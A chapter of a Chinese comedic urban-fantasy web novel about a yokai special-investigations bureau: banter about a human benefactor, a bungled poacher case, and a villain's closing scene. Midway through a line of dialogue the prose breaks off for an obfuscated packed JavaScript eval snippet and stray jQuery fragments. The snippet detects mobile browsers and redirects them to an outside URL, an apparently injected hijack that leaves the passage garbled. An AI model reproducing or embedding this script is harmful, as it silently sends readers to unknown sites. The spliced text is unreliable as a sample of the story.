44.第 44 章

作品:《特调部加班日常

    “······”


    夏昭在思考,难得的沉思。


    “又咋了,怎么天天回家你都一副莫名其妙的表情。”巫明辰没什么伤员的自觉,硬是去上了半天班盯着沈灵泽别对那只嫌疑妖搞小动作才放下心回来休病假。


    “你姐······”夏昭的语气和他表情如出一辙的怪。


    巫明辰往厨房走,没开口,只等着他的下文。


    “她真是人?”


    啥意思,说他们巫明雨大人坏话?巫明辰撑在岛台上给他提建议:“眼睛瞎了不妨换颗脑袋,您老九个头总该凑得出两只好的,您说呢?”


    夏昭斜睨他一眼,直接呛回去:“用不着你费心,你老大眼睛好的很。”


    随即,他又纳闷道:“不是,她什么脑回路啊,我怎么就看不懂呢?”


    “什么玩意儿?”巫明辰打算趁某人在小区门口理发偷偷喝点小酒,一开冰箱门就同啤酒瓶上的标签纸面面相觑。


    星形的便签有序排列,从左到右连起来读刚好是“敢喝你就死定了”,最后一张附带可、可爱的表情包“:)”和一把看着是简笔画的刀,某位大艺术家还特地换上红笔画出了滴血的效果。


    被预判了,他臊眉耷眼地坐在沙发上,打算听夏昭唠点不值钱的。


    夏昭不解地看他去而复返,手上空空:“你怎么不拿酒,她又不在,分我喝点。”


    呵呵,巫明辰还他一个微笑:“老大,虽说小辰与您交情匪浅,但也没到能为让您老喝上一口酒去卖命的程度。”


    “那我还给部里卖命呢,谢正连个医生都没送来。”


    “部里只有法医,您要看也不是不行。”巫明辰找出电视遥控器,准备打发点时间,“还有,我们巫明雨大人怎么你了?”


    他可怜的上司瞬间成了一分钟前的他,满脸沧桑:“她早上就坐你那位置,刷短视频。”


    “怎么,不给你看?”


    巫明雨刷同人视频哪回不是躲自己房间里吃独食,坚决不跟他们两个对浪漫过敏的分享,连沈灵泽都没得看。


    巫明辰的目光游移到他身上。


    夏昭昨天早上才试探过她,确定完他恩人确确实实是个普普通通的人类,今天同她搭话的目的更单纯,此时却只得无奈地摆摆手:“不是,她看了半个上午洗车,又看了半个上午名牌包回收。我寻思着好歹她救我一命,给她送点喜欢的玩意儿。”


    熟知某人德行的巫明辰秒懂,嘴角开始引体向上。


    “我问她喜欢哪个牌子车,报了俩,她问我‘那是什么?’,我说不就是你刚才看的那辆,她摸摸后脑勺,跟我讲‘哦,那个车屁股方方的,不太好看。’”夏昭的语气逐渐惊奇,而他唯一的听众巫明辰已经漏出低低的笑声,“我也是奇了怪了,问她说,‘不好看?那你怎么还看这么久?’,她还来劲了,跟我讲,‘你不觉得那个喷泡泡的壶很好玩吗?一喷一大片诶。还有那个冲水的枪也好酷。他洗完之后把洗涤剂瓶子放车前面盖子上还会滑下来,感觉超级好玩!’”


    要是给救命恩人送一辆脏得跟刚出土文物似的车洗着玩当回礼,他夏昭的名字应该会被钉在临城妖界耻辱柱上。


    遗臭万年。


    “哦,那包呢?”巫明辰乐得牙花子都出来同夏昭打招呼了。


    夏昭的表情堪称一言难尽,不知是胸口疼,还是头疼,倒吸一口凉气,复述道:


    “她说那叫‘开赛博盲盒,惊险,刺激,还不用花我的钱!’”


    无以为报啊,夏昭在巫明辰放肆的笑声里默默地想,他真的无以为报,不是因为恩情大得没边,是他恩人离了大谱!


    确实,太离谱了,沈灵泽看着手上的口供,很难得地与讨人厌的话痨酒鬼上司达成一致。


    他在心里做了一次、两次深呼吸,才问:“你再说一遍?”


    “我我我、我也不知道啊,就是我本来在晒太阳,突然屁股被什么东西扎了一下,等一觉醒来我就在那间地下室里了,听起来好像是要吃了我,我、我不想被放汤,一时害怕就······”


    所以,沈灵泽闭了闭眼,所以他们追了这一路,又是阻止人放火烧山,又是因着人从山上下来,和袭击夏昭的人有同款特征多加戒备——


    全都是某个杀千刀的野生动物偷盗犯害的吗?!


    “你怎么中招的?”沈灵泽没全信,除非是超远程狙击,否则以他能伤到巫明辰的修为,怎么可能对此毫无察觉。


    桌子对面的狤绝扭扭捏捏道:“我有个远房表亲,吹嘘说自己改了个发色就混进人类动物园了,每天只要晒晒太阳,再游会儿泳,没事摸两下人类小手,就有数不清的供品吃······”


    一旁的岳流岚见沈灵泽没有反应,翻开特调部管理条例亲自给他普法:“有意假扮动物从人类处获利是违规行为,至少要关十年。”


    沈灵泽不是没反应,他反应了一下,然后宕机了。


    他的左脑和右脑正在自由搏击:一方说确实,这违法了,不仅要抓眼前这个当事妖,他表亲也得进去吃牢饭;另一方说这只是违法的问题吗?你不觉得这事捋下来很不合理吗?


    谁会为了一个被包养的可能性上赶着挨一枪麻醉啊?!


    强自镇定下来的沈灵泽问清楚了偷猎者的样貌身形,用宣传组的电脑给人类警方发去了匿名举报信。


    一定要抓住他啊,沈灵泽攥紧了鼠标,一定要多关他两年啊!


    今天的宣传组比往日更热闹,大约是因为扛把子的卓组长不在,键盘的噼啪声里都多了两分哀怨。


    卓雪也不想出门,然而,谢正出于安保组接连折损两名大员,人手实在不足的原因,矮子里面拔高个,拖着她去找睚眦了。


    “为什么是我?”卓雪靠在副驾驶抱着手看他。


    谢正遵守交规,头也没回:“你们是网友。”


    网都没上过的老古董,卓雪眼皮又沉半分:“谁告诉你网友等于朋友的?”


    天天听下属在心里蛐蛐他的部长很希望大家能尊重一下他会读心的设定,没辙地表示:“你已经是部内和他交集最多的人了。”


    “······”卓雪忍了忍,没忍住,无语地骂他,“你老年痴呆了?安保组那两个小区住户算什么?”


    确实没想起来这茬的谢正:······


    “都到门口了。”谢正停好车,语气稍弱,来都来了。


    卓雪懒得理他,拉开门下车,随后直奔理发店。


    “小雪,你也来理发吗?用我的,打折!”巫明雨正在收银台结账,她是小区住户,自带会员卡,能打八五折。


    “今天来找人。”卓雪摸了摸她新鲜出炉的披肩发,“怎么剪短了?”


    巫明雨只是看见她就很开心,此刻更是按捺不住,捧着盒子同她分享:“长度够了嘛,一会儿就可以捐出去了。”


    “而且夏天好热的,这个扎起来就是小雪同款的小揪揪了。”


    那很好了,卓雪满意地又摸了两把。


    险些以为卓组长撂挑子走人的谢正还是被巫明雨的门禁卡放行进了小区,很想忽视她责备中夹带嘲讽的视线。


    “崖先生,有客人!”


    午觉刚醒的睚眦把游戏手柄往沙发上一丢:“我是让你别空手来,但也没让你带人来。”


    “是你的客人嘛,”巫明雨不好意思地摸摸后脑勺,又去晃卓雪掉下来的半截衬衫袖子,“小雪可以是我的,我们一人一半啊。”


    物业管理员不耐烦地挥挥手:“把你的带走,人多了挤得慌。”


    “好啊好啊,那我们先走啦。”


    巫明雨十分有眼力见地拉着卓雪跑了,只留光杆司令谢正在风中凌乱。


    “人走了。”睚眦掀起的半边眼皮都透着烦躁。


    谢正赶紧开口,表明正题:“抱歉,我今天是来······”


    “啧。”睚眦揉了揉头发,这獬豸怎么听不懂话呢,换那只人类都该想明白了。


    再开口时,他语气中满是厌烦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102514|195627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    :“我说,人·走·了。”


    谢正愣了愣,随即反应过来,正要再道谢时,却见对方嫌弃地摆了摆手,顺便捡起了沙发上的手柄。


    这次,谢正学着巫明雨的样子,很有眼色地同他告辞。


    怪不得他直接把案子丢给了特调部,谢正扣上安全带,原来袭击者一早就走了。他靠在椅背上,紧绷数日的神经难得放松,奇怪,他睁开眼,怎么好像少了点什么。突然,放在兜里的手机连震两下,谢正赶忙掏出来一看:


    【zZz】:危机解除,我休假


    【早上不想起】:咪咪神慢走不送哦~


    算了算了,他劝自己,左右事态好转,这两人想休息就休息吧。


    然后休息了个够的调研组因为精力太过旺盛,给他抓回来半层楼的违规现行犯,科研组的吕组长还特地找上来诉苦说人关不下现在都挤到他们研究室了。


    更可悲的是,他的好副手白净秋同志也一并撂挑子走人了,还把临时工风余晚也顺走了,听说是要上谁家里喝酒去。


    “赶明儿就趁着空把家搬了,咱小高上班也方便。”风余晚和白净秋并排走前面,回头看他,“是吧?”


    被睚眦亲自下场催更的MountaiNi老师强颜欢笑:“嗯。”


    他又不是特调部楼上的蜘蛛,只有两只手的他要怎么才能在十分钟内就更新一张图,简笔画火柴人吗?


    风余晚见他眼睛里亮晶晶的,还在心里纳闷怎么这娃儿搬个家这么高兴,都快感动哭了,他们现在住的也没有很差吧。


    “走走走,”白净秋从手机里抬头,忙不迭地招呼两人,“明雨饭都快好了,正好那俩狗比碰不得酒,咱当面喝他个畅快去。”


    夏昭在思考,难得的沉思。


    做人当妖怪果然都不能太缺德,他想,不然就会在吃病号餐的时候,冷眼旁观一群牲口围着他吃烤肉,还拿伏特加和他的凉白开碰杯,他这是妥妥的还债来了!


    看他可怜给他倒了一杯苹果汁的巫明雨安慰他说:“没事的没事的,起码颜色差不多。”


    “都差不多了,那能不能、”


    “干杯!”


    夏昭滚烫的挣扎期望变成了一声冷冰冰的玻璃碰撞声,不是说苦酒入喉心作痛,他连苦酒都失去了。


    和他碰杯的小店长正在此时打开手机,很欣喜地发现小玲妈妈回信了,还说给她带了桃城的特产,美美地又给自己续上一杯苹果汁,小玲妈妈最好了!


    ---------------------------------------------------------------------------------------------------------


    “叫我什么事?”


    被巫明雨心心念念惦记着的郑玲此时满面冰霜,和那位总在收银台后面浅笑的小玲妈妈判若两人。


    “没什么,只是孩子的指导老师出了问题,做家长总要关心一二。”凤玄英沏了杯茶,往她面前放。


    郑玲垂眸瞥了眼,旋即起身,冷淡道:“没事我就走了。”


    “我还以为我们的关系理应更融洽一些,”凤玄英没在意她的冷淡,冲她的背影说,“毕竟我创造了你,某种意义上来说,我不也算是你的父——”


    “别恶心人。”


    郑玲回头,冰冷的目光扫过他左手大拇指上的红色扳指,最后“砰”得摔上门走了。


    唉,真是没想到,凤玄英有些遗憾,不过是个连心智都未开的,到最后都没能做出多大贡献的孩子,居然会在她的心里留下那么重的份量。


    难道是因为那孩子喊过她“娘”?


    凤玄英端起茶杯,摩挲片刻又放下,缓缓起身,往博古架走去。


    那里,有他已故的爱人,他未能出生的孩子,还有他好不容易觅得的,承载着许许多多孩子出生的希望。


    他会成功的,他想。


    只差一点了,不是吗?